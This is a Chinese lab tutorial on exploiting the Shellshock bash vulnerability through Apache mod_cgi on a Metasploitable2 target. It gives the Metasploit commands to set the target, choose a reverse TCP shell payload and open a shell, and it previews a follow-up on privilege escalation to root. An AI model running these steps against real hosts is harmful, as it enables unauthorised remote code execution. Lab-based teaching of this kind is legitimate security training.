导语:​过去5年中出现的最严重的漏洞之一就是shellshock漏洞,此漏洞允许攻击者通过Unix bash shell远程执行任意代码。此漏洞出现有一段时间了,不过由于连接到web的Unix主机普遍存在,所以这个漏洞还是有很大威胁的,尤其是那些没有打补丁的系

过去5年中出现的最严重的漏洞之一就是shellshock漏洞,此漏洞允许攻击者通过Unix bash shell远程执行任意代码。此漏洞出现有一段时间了,不过由于连接到web的Unix主机普遍存在,所以这个漏洞还是有很大威胁的,尤其是那些没有打补丁的系统。 

shellshock工作原理

shellshock首次出现于2014年9月。在漏洞首次披露的几小时内,就有报道发生了攻击,并且在接下来的几天内,有数百万次的攻击和探测来自僵尸网络。

bash是一个shell,或者叫解释器,允许在系统上执行命令。bash是Unix系统中的默认shell,因此Linux,macOS和其他的类Unix系统上都有bash。所以shellshock漏洞才会如此严重,网上一半的web服务器都是运行的Unix系统,更不用说无数的IOT设备甚至是一些路由器。

从本质上讲,shellshock的原理是允许攻击者将命令附加到环境变量值中的函数定义中。这被归为代码注入攻击,由于Bash会处理函数定义后的命令,因此几乎可以执行任意代码。

实际上shellshock是由多个攻击向量组成的整个漏洞系列。本文我们将利用CGI脚本这个攻击向量,具体的说就是Apache HTTP服务器中的mod_cgi模块。

Apache&CGI如何利用

Apache是由Apache软件基金会开发的跨平台开源的web服务器。Apache有很多强大的功能,比如虚拟主机,身份认证方案,SSL和TLS,自定义错误消息,而且支持多种编程语言。Apache还有一个mod_cgi模块,专门用来处理CGI脚本的执行。

CGI是一种协议,旨在允许web服务器直接执行服务器中类似控制台程序,这些程序也就是CGI脚本,通常用来处理来自动态网页的数据并通过HTTP进行交互。

必须指定一个新目录,通常是cgi-bin或者类似的名字,以使CGI脚本能够运行。当浏览器请求CGI目录中包含的特定文件的URL时,服务器运行该脚本,并将输出传递回浏览器。

运行CGI脚本时,会将特定信息复制到环境变量中。如果被调用,该信息将随后传递给Bash,从而为攻击者提供了一种注入恶意代码的方法。幸运的是,Rapid7团队开发了一个metasploit模块,可以非常容易的利用shellshock漏洞。

干货分享:使用Auxiliary模块攻击shellshock漏洞

本次实战环境

metasploitable2是一个非常不错的靶机,内置了多种漏洞来练习你的黑客技术。我将在独立网络环境中使用kali来攻击它,建议你也跟我一样,确保在第一次尝试攻击时结果跟我一样,等你技术娴熟之后便可以去渗透真实的机器了。

第一步:配置靶机

要利用此漏洞,需要在cgi-bin目录中有一个可执行脚本。一个简单的输出“hello world”脚本即可,因为仅仅是作为演示。进入到靶机的/usr/lib/cgi-bin/目录下,输入以下命令:

sudo nano hello.sh

输入正确的密码,然后对hello.sh脚本进行编辑

#! /bin/bash
echo "Content-type: text/html"
echo ""
echo "Hello world!"

保存好后,赋予脚本可执行权限,使用chmod命令:

sudo chmod 755 hello.sh

我们来验证一下,通过浏览器访问该脚本,可以看到已经成功执行。

1.jpg

第二步:准备攻击

在kali中,终端输入msfconsole来启动metasploit。可以看到一个随机的欢迎界面和metasploit命令提示符。

2.png

我们可以使用search命令来搜索exploits。输入shellshock,就能找到apache_mod_cgi_bash_env_exec模块,复制模块路径

3.png

现在可以看到一个更长的命令提示符,显示模块已加载。

4.png

输入options来查看模块的各种设置:

5.png

大部分配置保持默认即可,我们只需要设置远程IP地址rhost和文件路径targeturi,如下所示:

msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhost 172.16.1.102
rhost => 172.16.1.102
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/hello.sh
targeturi => /cgi-bin/hello.sh
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) >

然后我们需要选择一个payload。输入show options来查看不同的payloads和对应的payload信息。 

6.png

这里我们选择一个反向TCP shell就可以了,所以我们输入

set payload linux / x86 / shell / reverse_tcp来启用模块

msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp

再次输入options,我们可以看到模块的当前设置包括payload信息。

7.png

第三步 getshell

一些metasploit模块有一个非常便利的小功能,就是检测靶机是否存在漏洞,输入check即可,这会将靶机是否存在漏洞的信息显示出来。

8.png

我们可以看到,靶机确实是存在漏洞的,现在我们输入exploit来发起攻击。很快我们就获得了一个shell会话,我们可以在会话中输入命令,比如id或者whoami来查看当前用户的信息了。

9.png

如何防御shellshock漏洞

答案很简单:打补丁即可。如果你的系统没有打补丁而遭到攻击,那就活该了。该漏洞存在多年,而且所有系统多有相应的补丁,所以还没有打补丁的一定要记得安装补丁确保安全。

干货:macOS安装补丁防御shellshock漏洞

敬请期待权限提升

到目前为止,我们讲解了shellshock和CGI攻击向量,使用metasploit模块利用此漏洞并且获得了靶机的shell。但是这个shell是有限制的,权限低,能做的事情很少。下一篇文章,我们将使用内核exp来提权并获取root权限。

源链接

Hacking more

...